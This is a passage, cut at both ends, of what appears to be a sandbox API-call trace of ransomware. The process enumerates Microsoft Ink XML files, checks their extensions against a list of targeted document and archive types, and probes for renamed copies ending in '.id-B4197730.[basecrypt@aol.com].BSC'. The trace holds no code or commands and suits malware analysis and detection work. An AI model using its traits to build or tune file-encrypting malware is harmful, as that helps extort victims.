Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0110.045] lstrlenW (lpString=".zip") returned 4 [0110.045] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0110.045] lstrlenW (lpString=".rar") returned 4 [0110.045] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0110.046] lstrlenW (lpString=".bz2") returned 4 [0110.046] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0110.046] lstrlenW (lpString=".7z") returned 3 [0110.046] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0110.046] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0110.046] lstrlenW (lpString=".dbf") returned 4 [0110.046] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0110.046] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0110.046] lstrlenW (lpString=".1cd") returned 4 [0110.046] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0110.046] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0110.046] lstrlenW (lpString=".jpg") returned 4 [0110.048] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0110.048] lstrcmpiW (lpString1=".xml", lpString2=".BSC") returned 1 [0110.048] lstrlenW (lpString="base.xml") returned 8 [0110.048] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0110.049] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x367ff14 | out: lpFileSize=0x367ff14*=3333) returned 1 [0110.049] CloseHandle (hObject=0x2f4) returned 1 [0110.049] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml")) returned 0x20 [0110.049] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0110.050] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0110.050] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0110.050] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0110.050] lstrlenW (lpString=".doc") returned 4 [0110.050] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0110.050] lstrlenW (lpString=".docx") returned 5 [0110.050] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0110.050] lstrlenW (lpString=".pdf") returned 4 [0110.050] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0110.050] lstrlenW (lpString=".xls") returned 4 [0110.050] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0110.050] lstrlenW (lpString=".xlsx") returned 5 [0110.050] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0110.050] lstrlenW (lpString=".ppt") returned 4 [0110.050] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0110.050] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0110.050] lstrlenW (lpString=".zip") returned 4 [0110.050] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0110.050] lstrlenW (lpString=".rar") returned 4 [0110.050] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0110.050] lstrlenW (lpString=".bz2") returned 4 [0110.050] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0110.050] lstrlenW (lpString=".7z") returned 3 [0110.051] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0110.051] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0110.051] lstrlenW (lpString=".dbf") returned 4 [0110.051] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0110.051] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0110.051] lstrlenW (lpString=".1cd") returned 4 [0110.051] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0110.051] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0110.051] lstrlenW (lpString=".jpg") returned 4 [0110.051] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0110.051] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0110.051] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0110.051] lstrlenW (lpString=".doc") returned 4 [0110.051] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0110.051] lstrlenW (lpString=".docx") returned 5 [0110.051] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0110.051] lstrlenW (lpString=".pdf") returned 4 [0110.051] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0110.051] lstrlenW (lpString=".xls") returned 4 [0110.051] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0110.051] lstrlenW (lpString=".xlsx") returned 5 [0110.051] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0110.051] lstrlenW (lpString=".ppt") returned 4 [0110.051] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0110.051] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0110.051] lstrlenW (lpString=".zip") returned 4 [0110.052] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0110.052] lstrlenW (lpString=".rar") returned 4 [0110.052] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0110.052] lstrlenW (lpString=".bz2") returned 4 [0110.052] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0110.052] lstrlenW (lpString=".7z") returned 3 [0110.052] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0110.052] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0110.052] lstrlenW (lpString=".dbf") returned 4 [0110.052] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0110.052] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0110.052] lstrlenW (lpString=".1cd") returned 4 [0110.052] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0110.052] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0110.052] lstrlenW (lpString=".jpg") returned 4 [0110.052] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0110.052] lstrcmpiW (lpString1=".xml", lpString2=".BSC") returned 1 [0110.052] lstrlenW (lpString="baseAltGr_rtl.xml") returned 17 [0110.052] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0111.108] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x367ff14 | out: lpFileSize=0x367ff14*=247) returned 1 [0111.108] CloseHandle (hObject=0x2f4) returned 1 [0111.108] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml")) returned 0x20 [0111.108] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0111.371] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0111.386] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0111.386] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0111.386] lstrlenW (lpString=".doc") returned 4 [0111.386] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0111.386] lstrlenW (lpString=".docx") returned 5 [0111.386] lstrcmpiW (lpString1=".docx", lpString2="l.xml") returned -1 [0111.386] lstrlenW (lpString=".pdf") returned 4 [0111.386] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0111.386] lstrlenW (lpString=".xls") returned 4 [0111.386] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0111.386] lstrlenW (lpString=".xlsx") returned 5 [0111.386] lstrcmpiW (lpString1=".xlsx", lpString2="l.xml") returned -1 [0111.386] lstrlenW (lpString=".ppt") returned 4 [0111.386] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0111.386] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0111.386] lstrlenW (lpString=".zip") returned 4 [0111.386] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0111.386] lstrlenW (lpString=".rar") returned 4 [0111.386] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0111.386] lstrlenW (lpString=".bz2") returned 4 [0111.387] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0111.387] lstrlenW (lpString=".7z") returned 3 [0111.387] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0111.387] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0111.387] lstrlenW (lpString=".dbf") returned 4 [0111.387] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0111.387] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0111.387] lstrlenW (lpString=".1cd") returned 4 [0111.387] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0111.387] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0111.387] lstrlenW (lpString=".jpg") returned 4 [0111.387] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0111.387] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0111.387] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0111.387] lstrlenW (lpString=".doc") returned 4 [0111.387] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0111.387] lstrlenW (lpString=".docx") returned 5 [0111.387] lstrcmpiW (lpString1=".docx", lpString2="l.xml") returned -1 [0111.387] lstrlenW (lpString=".pdf") returned 4 [0111.387] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0111.387] lstrlenW (lpString=".xls") returned 4 [0111.387] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0111.387] lstrlenW (lpString=".xlsx") returned 5 [0111.387] lstrcmpiW (lpString1=".xlsx", lpString2="l.xml") returned -1 [0111.387] lstrlenW (lpString=".ppt") returned 4 [0111.387] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0111.388] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0111.388] lstrlenW (lpString=".zip") returned 4 [0111.388] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0111.388] lstrlenW (lpString=".rar") returned 4 [0111.388] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0111.388] lstrlenW (lpString=".bz2") returned 4 [0111.388] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0111.388] lstrlenW (lpString=".7z") returned 3 [0111.388] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0111.388] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0111.388] lstrlenW (lpString=".dbf") returned 4 [0111.388] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0111.388] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0111.388] lstrlenW (lpString=".1cd") returned 4 [0111.388] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0111.388] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0111.388] lstrlenW (lpString=".jpg") returned 4 [0111.388] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0111.388] lstrcmpiW (lpString1=".xml", lpString2=".BSC") returned 1 [0111.388] lstrlenW (lpString="oskmenubase.xml") returned 15 [0111.388] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0111.568] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x367ff14 | out: lpFileSize=0x367ff14*=471) returned 1 [0111.568] CloseHandle (hObject=0x2f4) returned 1 [0111.568] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml")) returned 0x20 [0111.568] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0111.568] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0111.568] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml") returned 88 [0111.568] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml") returned 88 [0111.568] lstrlenW (lpString=".doc") returned 4 [0111.568] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0111.568] lstrlenW (lpString=".docx") returned 5 [0111.568] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0111.568] lstrlenW (lpString=".pdf") returned 4 [0111.568] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0111.568] lstrlenW (lpString=".xls") returned 4 [0111.569] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0111.569] lstrlenW (lpString=".xlsx") returned 5 [0111.569] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0111.569] lstrlenW (lpString=".ppt") returned 4 [0111.569] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0111.569] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml") returned 88 [0111.569] lstrlenW (lpString=".zip") returned 4 [0111.569] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0111.569] lstrlenW (lpString=".rar") returned 4 [0111.569] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0111.569] lstrlenW (lpString=".bz2") returned 4 [0111.569] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0111.569] lstrlenW (lpString=".7z") returned 3 [0111.569] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0111.569] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml") returned 88 [0111.569] lstrlenW (lpString=".dbf") returned 4 [0111.569] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0111.569] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml") returned 88 [0111.569] lstrlenW (lpString=".1cd") returned 4 [0111.569] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0111.569] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml") returned 88 [0111.569] lstrlenW (lpString=".jpg") returned 4 [0111.569] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0111.569] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml") returned 88 [0111.569] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml") returned 88 [0111.569] lstrlenW (lpString=".doc") returned 4 [0111.569] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0111.569] lstrlenW (lpString=".docx") returned 5 [0111.569] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0111.569] lstrlenW (lpString=".pdf") returned 4 [0111.570] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0111.570] lstrlenW (lpString=".xls") returned 4 [0111.570] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0111.570] lstrlenW (lpString=".xlsx") returned 5 [0111.570] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0111.570] lstrlenW (lpString=".ppt") returned 4 [0111.570] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0111.570] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml") returned 88 [0111.570] lstrlenW (lpString=".zip") returned 4 [0111.570] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0111.570] lstrlenW (lpString=".rar") returned 4 [0111.570] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0111.570] lstrlenW (lpString=".bz2") returned 4 [0111.570] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0111.570] lstrlenW (lpString=".7z") returned 3 [0111.570] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0111.570] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml") returned 88 [0111.570] lstrlenW (lpString=".dbf") returned 4 [0111.570] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0111.570] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml") returned 88 [0111.570] lstrlenW (lpString=".1cd") returned 4 [0111.570] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0111.570] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml") returned 88 [0111.570] lstrlenW (lpString=".jpg") returned 4 [0111.570] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0111.571] lstrcmpiW (lpString1=".xml", lpString2=".BSC") returned 1 [0111.571] lstrlenW (lpString="osknavbase.xml") returned 14 [0111.571] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0111.598] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x367ff14 | out: lpFileSize=0x367ff14*=1069) returned 1 [0111.598] CloseHandle (hObject=0x2f4) returned 1 [0111.598] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml")) returned 0x20 [0111.599] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0111.599] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0111.599] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml") returned 86 [0111.599] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml") returned 86 [0111.599] lstrlenW (lpString=".doc") returned 4 [0111.599] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0111.599] lstrlenW (lpString=".docx") returned 5 [0111.599] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0111.599] lstrlenW (lpString=".pdf") returned 4 [0111.599] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0111.599] lstrlenW (lpString=".xls") returned 4 [0111.599] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0111.599] lstrlenW (lpString=".xlsx") returned 5 [0111.599] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0111.599] lstrlenW (lpString=".ppt") returned 4 [0111.599] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0111.599] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml") returned 86 [0111.599] lstrlenW (lpString=".zip") returned 4 [0111.599] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0111.599] lstrlenW (lpString=".rar") returned 4 [0111.599] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0111.600] lstrlenW (lpString=".bz2") returned 4 [0111.600] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0111.600] lstrlenW (lpString=".7z") returned 3 [0111.600] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0111.600] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml") returned 86 [0111.600] lstrlenW (lpString=".dbf") returned 4 [0111.600] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0111.600] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml") returned 86 [0111.600] lstrlenW (lpString=".1cd") returned 4 [0111.600] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0111.600] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml") returned 86 [0111.600] lstrlenW (lpString=".jpg") returned 4 [0111.600] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0111.600] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml") returned 86 [0111.600] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml") returned 86 [0111.600] lstrlenW (lpString=".doc") returned 4 [0111.600] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0111.600] lstrlenW (lpString=".docx") returned 5 [0111.600] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0111.600] lstrlenW (lpString=".pdf") returned 4 [0111.600] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0111.600] lstrlenW (lpString=".xls") returned 4 [0111.600] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0111.600] lstrlenW (lpString=".xlsx") returned 5 [0111.601] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0111.601] lstrlenW (lpString=".ppt") returned 4 [0111.601] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0111.601] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml") returned 86 [0111.601] lstrlenW (lpString=".zip") returned 4 [0111.601] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0111.601] lstrlenW (lpString=".rar") returned 4 [0111.601] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0111.601] lstrlenW (lpString=".bz2") returned 4 [0111.601] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0111.601] lstrlenW (lpString=".7z") returned 3 [0111.601] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0111.601] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml") returned 86 [0111.601] lstrlenW (lpString=".dbf") returned 4 [0111.601] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0111.601] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml") returned 86 [0111.601] lstrlenW (lpString=".1cd") returned 4 [0111.601] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0111.601] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml") returned 86 [0111.601] lstrlenW (lpString=".jpg") returned 4 [0111.601] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0111.602] lstrcmpiW (lpString1=".xml", lpString2=".BSC") returned 1 [0111.602] lstrlenW (lpString="osknumpadbase.xml") returned 17 [0111.602] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0111.606] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x367ff14 | 